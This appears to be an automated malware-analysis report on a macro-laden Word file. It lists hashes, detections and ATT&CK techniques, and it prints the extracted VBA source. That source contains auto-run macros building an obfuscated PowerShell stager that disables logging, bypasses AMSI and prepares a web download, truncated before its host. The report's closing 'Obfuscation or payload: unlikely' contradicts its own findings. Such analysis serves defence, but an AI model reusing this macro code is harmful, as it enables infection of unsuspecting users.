Doc.Dropper.Donoff — Office (OOXML) malware analysis

Static analysis result for SHA-256 4f6e5cda592cac17…

MALICIOUS

Office (OOXML)

83.2 KB Created: 2017-10-06 20:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-02-26
MD5: e685259cf0b0d0e2807825153e676841 SHA-1: 8196bc886898a5f556c85e3c406b3319e30b20fd SHA-256: 4f6e5cda592cac17a82cd135e39d9b7bda63ce66bd844a1a5f73a4839cc0bc3d
362 Risk Score

Malware Insights

Doc.Dropper.Donoff · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1218.011 System Binary Proxy Execution: Rundll32

This document contains VBA macros that execute automatically upon opening. The AutoOpen and Document_Open macros initiate a process that constructs and executes a PowerShell command. This command is heavily obfuscated but appears to be designed to manipulate system settings and potentially download and execute additional payloads, as indicated by the WMI process creation heuristic.

Heuristics 8

  • ClamAV: Doc.Dropper.Donoff-5743532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743532-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6031 bytes
SHA-256: 97cb03f6bfeed8a716330896aff6d0dd3f72b8914b15a01eafe8d2a364e5a4fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        Nyd
End Sub

Sub Document_Open()
        Nyd
End Sub

Public Function Nyd() As Variant
        Dim P As String
        P = "powersh"
        P = P + "ell -noP -sta -w 1 -enc  JABHAFIAbwB1AHAAUA"
        P = P + "BPAEwAaQBjAFkAUwBFAHQAVABJAG4ARwBzACAAPQAgAFsAUgBl"
        P = P + "AEYAXQAuAEEAUwBzAGUATQBiAGwAWQAuAEcAZQBUAFQAeQBwAG"
        P = P + "UAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4A"
        P = P + "dAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJw"
        P = P + "ApAC4AIgBHAGUAdABGAGkAZQBgAGwARAAiACgAJwBjAGEAYwBo"
        P = P + "AGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG"
        P = P + "4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMA"
        P = P + "LABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAGEAbABVAGUAKA"
        P = P + "AkAG4AVQBsAEwAKQA7ACQARwByAE8AVQBwAFAATwBMAGkAYwB5"
        P = P + "AFMAZQB0AHQAaQBuAGcAcwBbACcAUwBjAHIAaQBwAHQAQgAnAC"
        P = P + "sAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4A"
        P = P + "YQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATA"
        P = P + "BvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwBSAG8AdQBQ"
        P = P + "AFAATwBsAGkAYwBZAFMARQBUAHQAaQBOAEcAcwBbACcAUwBjAH"
        P = P + "IAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcA"
        P = P + "JwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbw"
        P = P + "BjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBn"
        P = P + "ACcAXQAgAD0AIAAwADsAWwBSAEUARgBdAC4AQQBzAFMARQBNAE"
        P = P + "IAbABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0A"
        P = P + "LgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdA"
        P = P + "BpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAk"
        P = P + "AF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAEkAZQBsAGQAKAAnAG"
        P = P + "EAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8A"
        P = P + "bgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQ"
        P = P + "BUAFYAYQBsAHUAZQAoACQATgBVAEwATAAsACQAdAByAHUARQAp"
        P = P + "AH0AOwBbAFMAeQBzAFQAZQBNAC4ATgBlAHQALgBTAEUAcgBWAE"
        P = P + "kAQwBFAFAAbwBpAG4AVABNAGEAbgBBAGcARQByAF0AOgA6AEUA"
        P = P + "eABwAGUAYwBUADEAMAAwAEMATwBuAHQAaQBOAFUARQA9ADAAOw"
        P = P + "AkAHcAQwA9AE4AZQB3AC0ATwBCAGoARQBDAHQAIABTAHkAUwB0"
        P = P + "AGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBMAEkAZQBOAHQAOwAkAH"
        P = P + "UAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4A"
        P = P + "ZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOw"
        P = P + "AgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAx"
        P = P + "AC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAG"
        P = P + "MALgBIAEUAQQBEAEUAcgBzAC4AQQBEAGQAKAAnAFUAcwBlAHIA"
        P = P + "LQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AEMALgBQAFIAbw"
        P = P + "BYAFkAPQBbAFMAWQBzAHQAZQBtAC4ATgBFAHQALgBXAEUAYgBS"
        P = P + "AGUAcQBVAEUAcwBUAF0AOgA6AEQARQBmAEEAVQBMAFQAVwBFAE"
        P = P + "IAUAByAE8AeAB5ADsAJABXAGMALgBQAFIAbwBYAHkALgBDAFIA"
        P = P + "RQBEAGUAbgB0AEkAYQBsAFMAIAA9ACAAWwBTAHkAUwB0AGUATQ"
        P = P + "AuAE4AZQBUAC4AQwBSAEUAZABlAG4AdABJAGEAbABDAEEAYwBI"
        P = P + "AEUAXQA6ADoARABFAEYAQQB1AGwAdABOAEUAdABXAG8AcgBLAE"
        P = P + "MAcgBFAGQAZQBuAHQAaQBhAEwAUwA7ACQASwA9AFsAUwB5AFMA"
        P = P + "VABlAE0ALgBUAGUAeABUAC4ARQBOAGMATwBEAGkATgBnAF0AOg"
        P = P + "A6AEEAUwBDAEkASQAuAEcARQB0AEIAeQBUAEUAUwAoACcAYQA1"
        P = P + "ADAAOQA2ADUAYwA2AGUAZQAzAGMAOAAyAGYANwA1ADAAZAA0AD"
        P = P + "AANABlAGMANQAzADkAYwBjAGUAOABlACcAKQA7ACQAUgA9AHsA"
        P = P + "JABEACwAJABLAD0AJABBAHIARwBzADsAJABTAD0AMAAuAC4AMg"
        P = P + "A1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgAr"
        P = P + "ACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAH"
        P = P + "UATgBUAF0AKQAlADIANQA2ADsAJABT
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 31744 bytes
SHA-256: ad7394bf3cb80b418884e525bf0211742f95debda2c69c9414bfcf2e88c62b92
Detection
ClamAV: Doc.Dropper.Donoff-5743532-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.